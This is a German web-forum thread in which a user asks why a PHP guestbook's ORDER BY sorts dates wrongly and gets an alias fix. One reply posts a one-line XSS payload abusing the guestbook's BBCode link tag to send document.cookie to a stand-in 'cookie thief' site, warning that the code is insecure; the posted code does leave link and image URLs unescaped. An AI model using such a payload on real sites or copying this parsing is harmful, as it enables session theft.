• Jetzt anmelden. Es dauert nur 2 Minuten und ist kostenlos!

ORDER BY in Gästebuch

Status
Für weitere Antworten geschlossen.

Luk.Online

Neues Mitglied
Hallo,
der folgende Code ist für die Ausgabe einer Datenbank in einer Tabelle. Es funktioniert schon alles, nur das ordnen nicht richtig...
icon_sad.gif

Da ich das Datum bei der Ausgabe umformatiere in dd.mm.yyyy, wird es nach dem Tag geordnet.
Der neuste eintrag ist von testuser und da er vom 04.02.2009 ist, steht er unter dem 04.11.2008 (geordnet nach 04).
Wo liegt mein Fehler???

Luk's Homepage - Test

Code:
<?php 
$abfrage="SELECT autor, text, DATE_FORMAT(zeitpunkt, '%d.%m.%Y um %H:%i:%s') as zeitpunkt FROM video WHERE video=1 ORDER BY `zeitpunkt` DESC"; 
$ergebnis=mysql_query($abfrage); 
 
echo "<u><h2> Kommentare lesen:</h2></u>";  
echo "<table class='comtable' id='comtable'>"; 
 
while($row=mysql_fetch_object($ergebnis)) 
{ 
// HTML verbieten 
$text = htmlentities($row->text); 
// Zeilen abschneiden 
$text = wordwrap($text, 60, ' ', true); 
// Zeilenumbruch 
$text = preg_replace('/\[br]/Uis', '<br>', $text); 
// BBCODE 
$text = preg_replace('/\[b\](.*)\[\/b\]/Uis', '<span style="font-weight: bold">\1</span>', $text); 
$text = preg_replace('/\[i\](.*)\[\/i\]/Uis', '<span style="font-style: italic">\1</span>', $text); 
$text = preg_replace('/\[u\](.*)\[\/u\]/Uis', '<span style="text-decoration: underline">\1</span>', $text); 
$text = preg_replace('/\[o\](.*)\[\/o\]/Uis', '<span style="text-decoration: overline">\1</span>', $text); 
$text = preg_replace('/\[ts\](.*)\[\/ts\]/Uis', '<span style="text-shadow: #FA960A 0 0 5px">\1</span>', $text); 
$text = preg_replace('/\[hi\](.*)\[\/hi\]/Uis', '<span style="text-decoration: blink;">\1</span>', $text); 
$text = preg_replace('/\[l\](.*)\[\/l\]/Uis', '<span style="text-decoration: line-through;">\1</span>', $text); 
$text = preg_replace('=\[link\](\\S*)\[/link\]=Uis', '<a href="\1 ">\1</a>', $text); 
$text = preg_replace('#\[link=(.*)\](.*)\[/link\]#Uis', '<a href="\1">\2</a>', $text); 
$text = preg_replace('=\[img\](.*)\[/img\]=Uis', '<img src="\1"/>', $text); 
// Smileys 
$text = str_replace(':-)', "<img src=\"images/smile.gif\">", $text); 
$text = str_replace(';-)', "<img src=\"images/wink.gif\">", $text); 
$text = str_replace(':-P', "<img src=\"images/tongue.gif\">", $text); 
$text = str_replace(':-D', "<img src=\"images/biggrin.gif\">", $text); 
$text = str_replace(':-|', "<img src=\"images/neutral.gif\">", $text); 
$text = str_replace(':-(', "<img src=\"images/frown.gif\">", $text); 
//Schriftfarben 
$text = preg_replace('/\[red\](.*)\[\/red\]/Uis', '<span style="color: red;">\1</span>', $text); 
$text = preg_replace('/\[blue\](.*)\[\/blue\]/Uis', '<span style="color: blue;">\1</span>', $text); 
$text = preg_replace('/\[green\](.*)\[\/green\]/Uis', '<span style="color: green;">\1</span>', $text); 
// Tabellenausgabe 
echo "<tr><td class='comtd' id='comtd'>" . htmlentities($row->autor) . " schrieb am " . htmlentities($row->zeitpunkt) . " Uhr</td></tr><tr><td class='comtd' id='comtd'>" .$text. "</td></tr>"; 
echo "<tr><td class='comtd' id='comtd'></td></tr>"; 
echo "<tr><td class='comtd' id='comtd'></td></tr>"; 
} 
echo "</table>";  
?>

Außerdem habe ich noch eine Frage, wenn es auch eig nicht hier rein passt, aber ich habe irgendwas auf der html seite gelöscht, sodass bei dem klicken auf einen button nichts mehr in die <textarea> eingefügt wird.
Leider habe ich kein BackUp...

Danke schonmal, Lukas.:grin:
 
Nimm nach AS einen anderen Namen, dann funktioniert es auch

PHP:
SELECT autor, text, DATE_FORMAT(zeitpunkt, '%d.%m.%Y um %H:%i:%s') as created FROM video WHERE video=1 ORDER BY `zeitpunkt` DESC
 
gib bei dir in deinem gästebuch mal als text volgendes ein

Code:
[link=javascript:alert('all diese informationen habich dir gerade geklaut xD'+"\n\n"+document.cookie);window.location='http://www.meine-schadseite.de/cookieklauer.php?cookie='+document.cookie;]Klick mich ;)[/link]

du solltest das script mal n bissel mehr auf sicherheit trimmen ^^
 
Status
Für weitere Antworten geschlossen.
Zurück
Oben